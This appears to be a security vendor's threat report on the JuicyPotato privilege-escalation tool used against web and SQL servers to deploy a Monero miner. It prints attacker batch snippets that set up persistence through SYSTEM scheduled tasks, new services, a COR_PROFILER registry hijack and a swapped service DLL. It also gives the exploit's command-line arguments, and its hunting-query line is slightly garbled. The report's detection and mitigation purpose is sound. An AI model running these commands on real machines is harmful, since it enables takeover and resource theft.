JuicyPotato
Hacking Tool
Discovered on Compromised Web Servers

Introduction

JuicyPotato (also known as SharpPotato and SweetPotato) is a weaponized version of RottenPotatoNG, a Windows privilege-escalation hacking tool. The hacking tool is a popular exploit that is used in a variety of attacks by many threat actors. It is primarily deployed on targeted machines to gain higher-level privileges and fulfill their objectives. This hacking tool has been in the news since the fourth quarter of 2018. The Blue Mockingbird group, discovered in December 2019, used JuicyPotato exploits in their Monero (XMR) cryptocurrency campaign that targeted at least thousands of enterprise ASP.NET servers. Some other well-known actor groups that leveraged this exploit in their offensive campaigns are Fox Kitten (suspected with the Iranian government) and Winnti Group (threat group of Chinese origin). In this article, we will discuss the open-source privilege-escalation tool JuicyPotato, its execution method, and post-exploitation behaviors detected by FortiEDR.

Kill chain for JuicyPotato exploit deploying XMRig Miner:

Affected Platforms
Machines running Windows operating system

Threat Type
Local Privilege Escalation Exploit

Impacted Users
Windows users

Impact
Allows an attacker to gain system-level privileges to run any arbitrary commands

Severity
Critical
The observed intrusion chain for JuicyPotato is as follows:

- Threat actor gains initial access by exploiting software vulnerabilities in internet-facing servers and planting web shells to maintain access to a compromised server.
- After gaining initial access, the threat actor delivers JuicyPotato exploit tool to perform privilege escalation on the victim machine.
- To maintain persistence, threat actor attempts to create a local account with higher privileges using this exploit.
- After successful exploitation, threat actor runs malicious script with elevated privileges to achieve objectives.
- Post-exploitation behaviors include gaining access to Windows services, deploying cryptocurrency mining software, connecting to malicious servers to download next-stage malicious payloads, and running batch scripts to covertly add scheduled tasks and other malware files.

**Initial Access**

Based on the events observed in FortiEDR platforms, the most common attack vector that drops JuicyPotato exploit is via compromising web servers combined with planting web shells. A web shell is malicious code that allows remote access into a web server. It enables threat actors to access the compromised web server. Other vectors that deliver this exploit are spear-phishing email campaigns and VPN flaws.

**Pre-execution**

The screenshot below shows evidence of a compromised MS SQL Server that launched a suspicious process called “cma.io.” This process attempted to run the JuicyPotato exploit “Sw.sys” as well as the “net.sys” utility for adding a local user “lcys” with the password “gov123....” The event graph below shows FortiEDR detecting and blocking the JuicyPotato exploit:

![Figure 1: FortiEDR blocks JuicyPotato from being executed.](image)

**Execution**

JuicyPotato exploit is capable of abusing BITS (Background Intelligent Transfer Service) and COM servers on Windows local service accounts. Local service accounts own minimum privileges on a local Windows computer. To execute the exploit successfully, the local service account must have certain impersonation privileges enabled, such as “SeImpersonatePrivilege” and “SeAssignPrimaryPrivilege.” These privileges allow threat actors to receive permissions to abuse Windows COM server and obtain system-level privileges. Using impersonation privileges, the JuicyPotato exploit can impersonate access tokens (an object including privileges of a user account in a process) of the COM server, create a new process, and set token to this process, causing it to run with system permissions.
The exploit requires certain mandatory arguments to execute, such as COM server listener port number, program to launch (e.g., cmd.exe or a batch script), create process calls: “CreateProcessWithTokenW,” “CreateProcessAsUser” (to impersonate the user privileges), and CLSID, a serial number that represents a unique ID for any application component in Windows. Upon execution, the exploit launches the program, provided in the arguments (e.g., cmd.exe or .bat file) to launch with NT authority/system privileges. Threat actor groups can use this exploit to execute any malicious payload on the victim machine. JuicyPotato was found to perform a number of post-exploitation operations, including running a malicious PowerShell script, executing a coin miner payload, adding a user account, creating scheduled tasks, and modifying Windows services. JuicyPotato exploit abuses COM server application with CLSID {8BC3F05E-D86B-11D0-A075-00C04FB68820} to gain system-level privileges.

The command line and mandatory arguments used in JuicyPotato exploit to gain system level privileges are:
- `-t`: create process call: `<t> CreateProcessWithTokenW, <u> CreateProcessAsUser`,
- `-p`: program to launch. This could be any script or process such as cmd.exe, PowerShell.exe, net.exe etc.
- `-l`: COM server listen port
- `-c`: CLSID, a unique identifier of an application

**Post-exploitation activities observed in FortiEDR**

A compromised SQL Server spawns a cmd.exe process to execute “sweet.exe,” a JuicyPotato malware, in the event below observed in the FortiEDR platform. Later, this sweet.exe file attempts to run “xin.exe,” a backdoor malware with elevated privileges. FortiEDR detected and blocked the execution of the JuicyPotato exploit, which attempted to access Windows services. The JuicyPotato exploit is detected as Win64.Hacktool.JuicyPotato malware in EDR platform.

**Post-exploitation: Coin Miner**

In the event below, w3wp.exe (IIS worker process) spawns a cmd.exe process to execute a command “c:\programdata\set.bat.” This set.bat drops let.exe, a JuicyPotato malware into the ProgramData directory.
The initial payload set.bat, shown below expands and copies the files from the ZIP file to the victim's ProgramData directory. It then launches JuicyPotato exploit to elevate privileges and runs the batch script rn.bat with the elevated privileges. Regsvr32.exe is called to run the miner payload xg.dll. Regsvr32.exe is a signed Windows command-line utility used for registering and unregistering dll files. Adversary abused regsvr32.exe to proxy execution of malicious code to evade detection.

The script rn.bat leverages multiple techniques to maintain persistence. This script makes multiple copies of miner payloads to the System32 folder. This script then creates multiple scheduled tasks to run the payload as a system user on a daily basis at the specified time. The miner payload is executed using rundll32.exe in one of the scheduled tasks, and the DLL export function “fackaaxv” is explicitly called. Another scheduled task uses regsvr32.exe to run the miner payload, which initially calls DllRegisterServer before passing control to the export function “fackaaxv.” This script also creates Windows services to run the miner payload. As highlighted in the code below, the Windows service control manager sc.exe is configured to run the malicious miner payload. It can create scheduled tasks and Windows services with the system privileges obtained through the JuicyPotato exploit without prompting the user to allow execution.

```
copy xg.dll c:\windows\system32\resultt.dll /y

copy xg.dll c:\windows\system32\result2%.dll /y

copy xg.dll c:\windows\system32\result3%.dll /y

copy xg.dll c:\windows\system32\result4%.dll /y

copy xg.dll c:\windows\system32\dialogex.dll /y

copy xg.dll c:\windows\system32\checkservices.dll /y

copy xg.dll c:\windows\system32\wercplsupporte.dll /y

schtasks /create /tn "resultt%" /tr "cmd.exe /c regsvr32.exe /s c:\windows\system32\resultt.dll" /sc DAILY /st 20:20 /F /RU System /RL HIGHEST

schtasks /create /tn "result2%" /tr "cmd.exe /c rundll32.exe c:\windows\system32\result2%.dll,fackaaxv" /sc DAILY /st 20:25 /F /RU System /RL HIGHEST

schtasks /create /tn "result3%" /tr "cmd.exe /c sc config wercplsupport start=auto & sc start wercplsupport" /sc DAILY /st 20:15 /F /RU System /RL HIGHEST

schtasks /create /tn "result4%" /tr "cmd.exe /c sc start wercplsupport & start regsvr32.exe /s c:\windows\system32\result4%.dll" /sc DAILY /st 08:10 /F /RU System /RL HIGHEST

::schtasks /create /tn "result14%" /tr "cmd.exe /c sc stop wercplsupport & taskkill /f /im rundll32.exe & taskkill /f /im regsvr32.exe" /sc DAILY /st 07:50 /F /RU System

::sc delete %result14%
::sc create %result13% binPath= "cmd /c sc config wercplsupport start=auto & sc start wercplsupport & copy c:\windows\system32\result3%.dll c:\windows\system32\wercplsupporte.dll /y & regsvr32.exe /s c:\windows\system32\result3%.dll" type= share start= auto error= ignore DisplayName= %result3%
```

Figure 6: Snippet from the set.bat script.

Figure 7: Snippet from the rn.bat script—rundll32 and regsvr32.exe.

The threat actor abused “COR_PROFILER” to establish persistence that executes the miner payload DLL in the context of all .NET processes every time the Common Language Runtime (CLR) is invoked. The COR_PROFILER is a .NET Framework feature that allows developers to specify an unmanaged profiling DLL to be loaded into each .NET process that loads the CLR. The COR_PROFILER environment variable can be set using registry or in-memory. In the below snippet from rn.bat, COR_PROFILER environment variable is set using wmic.exe and registry. Since COR_PROFILER is configured to load the malicious payload, it executes the miner payload re-establishing persistence.
Another technique observed was the use of the wercplsupport service. Wercplsupport.dll is a Problem Reports and Solutions file that is associated with Windows. In the rn.bat snippet below, the actor configured the wercplsupport service to use the miner payload rather than the legitimate one. The code below modifies the registry entry ‘servicedll’ to use “wercplsupporte.dll” instead of the legitimate dll “wercplsupport.dll.” After configuring the registry and copying the miner payload into the System32 directory, the actor restarted the Windows service wercplsupport to apply the changes.

```
sc stop wercplsupport
...           
wmic ENVIRONMENT where "name='COR_ENABLE_PROFILING'" delete
wmic ENVIRONMENT where "name='COR_PROFILER'" delete
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="<system>",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="<system>",VariableValue="%result%-%result2%-%result2%-%result2%-%result5%"

SET KEY=HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{%result%-%result2%-%result2%-%result2%-%result5%}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "c:\windows\System32\%result5%.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

sc start wercplsupport
```

Figure 8: Snippet from the rn.bat script—COR_PROFILER.

Figure 9: Snippet from the rn.bat script—configure wercplsupport service.

**Threat Hunting**

The following threat hunting query can be used in FortiEDR v5 Threat Hunting to identify potential anomalous events associated with JuicyPotato exploit. The JuicyPotato exploit requires mandatory arguments to run, and this query with all the mandatory arguments will have a low false-positive rate.

```
Threat Hunting
```

The query above aids in the discovery of the JuicyPotato exploit, which the adversary uses with the following inputs:

```
Target Process Command Line: -t -p c:\programdata\rn.bat -1 11212 -c (8BC3F05E-D96B-11D0-A07S-00C04FB98320)
```

The threat actor is abusing the Windows service control manager (sc.exe) to create new service to execute malicious miner payload captured by threat-hunting telemetry.
The threat actor is creating scheduled tasks to execute miner payloads captured by threat-hunting telemetry.

**Conclusion**

In this article, we discussed how the JuicyPotato exploit was used to elevate privileges and set up scheduled tasks and Windows services with the gained privileges. We also observed the threat actors employing some novel techniques, such as hijacking execution with COR_PROFILER to maintain persistence and modifying the Windows service werclpsupport to run the miner payload. As we saw, the threat actor went above and beyond by employing multiple techniques to maintain persistence. We must remediate by removing all of the scheduled tasks and Windows services that the attacker created and modified. FortiEDR's advanced real-time protection blocks pre- and post-exploitation of this intrusion and threat-hunting telemetry v5 aids in the investigation.
# MITRE ATT&CK

The following is a summary of the MITRE techniques observed and the mitigation strategies recommended:

## TA0001: Initial Access

<table>
<thead>
<tr>
<th>Technique ID</th>
<th>Technique Description</th>
<th>Observed Activity</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1190</td>
<td>Exploit public-facing application</td>
<td>Adversaries exploit vulnerable internet-facing servers. MS SQL Server, IIS web servers to plant web shells and gain initial access to the target system.</td>
</tr>
</tbody>
</table>

**Mitigation**
- Deploy a web application firewall to prevent exploit traffic from reaching the application.
- Scan web applications for common web vulnerabilities; fix or patch vulnerabilities that are discovered through scanning and through public disclosure.
- Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation.

*Fortinet Security Fabric Controls: FortiWeb, FortiPenTest, and FortiGate IPS*

## TA0002: Execution

<table>
<thead>
<tr>
<th>Technique ID</th>
<th>Technique Description</th>
<th>Observed Activity</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1047</td>
<td>Windows Management Instrumentation</td>
<td>WMI-command-line interface is abused to set value for COR_PROFILER environment variable.</td>
</tr>
</tbody>
</table>

**Mitigation**
- Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect.

*Fortinet Security Fabric Controls: FortiEDR, FortiSandbox and FortiSIEM*

## TA0003: Persistence

<table>
<thead>
<tr>
<th>Technique ID</th>
<th>Technique Description</th>
<th>Observed Activity</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1053</td>
<td>Scheduled task/job</td>
<td>Task scheduling feature in Windows can be abused by attackers to execute malicious program at system start-up or scheduled at a certain time/date to maintain persistence. The rn.bat script launched via JuicyPotato exploit adds scheduled tasks to deploy miner and achieve persistence.</td>
</tr>
</tbody>
</table>

**Mitigation**
- Monitor event logging for scheduled task creation and changes (turn on the setting "Microsoft-Windows-TaskScheduler/Operational" within the event logging service).
- Audit toolkits like PowerSploit that can be used to probe systems for weaknesses in scheduled tasks that could be used to escalate privileges.
- Monitor scheduled task creation using EDR v5 threat-hunting feature.

*Fortinet Security Fabric Controls: FortiSIEM, FortiSandbox and FortiEDR*
JuicyPotato Hacking Tool Discovered on Compromised Web Servers

<table>
<thead>
<tr>
<th>Technique ID</th>
<th>Technique Description</th>
<th>Observed Activity</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1136</td>
<td>Create account: local account</td>
<td>JuicyPotato exploit aimed to use net.sys utility for adding a local user account “lcys” with password “gov123...” on the victim machine.</td>
</tr>
</tbody>
</table>

**Mitigation**
- Use multi-factor authentication for user and privileged accounts.
- Audit domain and local system accounts on a regular basis to look for suspicious accounts that may have been created and or modified by an adversary.
- Monitor for processes and command-line parameters associated with account creation, such as net user or useradd using EDR v5 threat hunting.
- Monitor event logs: Event ID 4720 is generated when a user account is created on a Windows system and domain controller.

*Fortinet Security Fabric Controls: FortiSIEM and FortiEDR*

<table>
<thead>
<tr>
<th>Technique ID</th>
<th>Technique Description</th>
<th>Observed Activity</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1574.012</td>
<td>Hijack execution flow: COR_PROFILER</td>
<td>The threat actor abused COR_PROFILER to establish persistence that executes the malicious miner DLL in the context of all .NET processes every time the CLR is invoked.</td>
</tr>
</tbody>
</table>

**Mitigation**
- Monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH.
- Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and Reg.
- Monitor for suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.

*Fortinet Security Fabric Controls: FortiEDR, FortiSandbox and FortiSIEM*

**TA0040: Impact**

<table>
<thead>
<tr>
<th>Technique ID</th>
<th>Technique Description</th>
<th>Observed Activity</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1496</td>
<td>Resource hijacking</td>
<td>After exploitation and malicious script execution, the threat actor delivered the Monero mining process. It utilized CPU resources for cryptocurrency mining and also kills off processes for competing malware to ensure it's not competing for resources.</td>
</tr>
</tbody>
</table>

**Mitigation**
- Monitor process resource usage to determine anomalous activity associated with malicious hijacking of CPU.
- Monitor for suspicious use of network resources associated with cryptocurrency-mining software.

*Fortinet Security Fabric Controls: FortiSIEM*
JuicyPotato Hacking Tool Discovered on Compromised Web Servers

### TA0005: Defense Evasion

<table>
<thead>
<tr>
<th>Technique ID</th>
<th>Technique Description</th>
<th>Observed Activity</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1218.010</td>
<td>Signed Binary Proxy Execution: Regsvr32</td>
<td>Threat actor abused Regsvr32.exe to proxy execution of the malicious miner payload.</td>
</tr>
<tr>
<td>Mitigation</td>
<td>Use process monitoring to monitor the execution and arguments of regsvr32.exe</td>
<td><strong>Fortinet Security Fabric Controls: FortiEDR, FortiSandbox and FortiSIEM</strong></td>
</tr>
<tr>
<td>T1218.011</td>
<td>Signed Binary Proxy Execution: Rundll32</td>
<td>Threat actor abused Rundll32.exe to proxy execution of the malicious miner payload.</td>
</tr>
<tr>
<td>Mitigation</td>
<td>Use process monitoring to monitor the execution and arguments of rundll32.exe</td>
<td><strong>Fortinet Security Fabric Controls: FortiEDR, FortiSandbox and FortiSIEM</strong></td>
</tr>
<tr>
<td>T1569.002</td>
<td>System services: service execution</td>
<td>The threat actor abuses the Windows service control manager (sc.exe) to create new service to execute malicious miner payload.</td>
</tr>
<tr>
<td>Mitigation</td>
<td>Use process monitoring to monitor the execution and arguments of sc.exe.</td>
<td>Monitor changes to service registry entries and command-line invocation of tools capable of modifying services that may be suspicious.</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Fortinet Security Fabric Controls: FortiEDR, FortiSandbox and FortiSIEM</strong></td>
</tr>
<tr>
<td>T1543.003</td>
<td>Create or modify system process: Windows service</td>
<td>The threat actor created new services and as well modified Windows service werclspsupport to make miner payload persistent.</td>
</tr>
<tr>
<td>Mitigation</td>
<td>Monitor processes and command-line arguments for actions that could create or modify services.</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Services may also be modified through WMI and PowerShell, so additional logging may need to be configured.</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Look for changes to service Registry entries at HKLM\SYSTEM\CurrentControlSet\Services.</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Monitor event logs for new service creation.</td>
<td></td>
</tr>
<tr>
<td></td>
<td><strong>Fortinet Security Fabric Controls: FortiEDR, FortiSandbox and FortiSIEM</strong></td>
<td></td>
</tr>
</tbody>
</table>
IOCs

46.246.122.[.]73

66eaf35dcb7d951bab0f06a3563185baa64d381a0 let.exe
A43FB8D1DB09ABF5C080F5B5D844747D0DCB4FA8 sweet.exe
96b8f115545d811f4289fc98db969ef6e14f3e24 Sw.sys
hxxp://46[.]246[.]122[.]73:24982/up/setup.exe URL downloading Coin miner

7d5981bd261222101bd47c48971b593e10b4f2933119d11abee3d525f26e332 setup_00.exe (Coin miner dropped after JuicyPotato exploitation)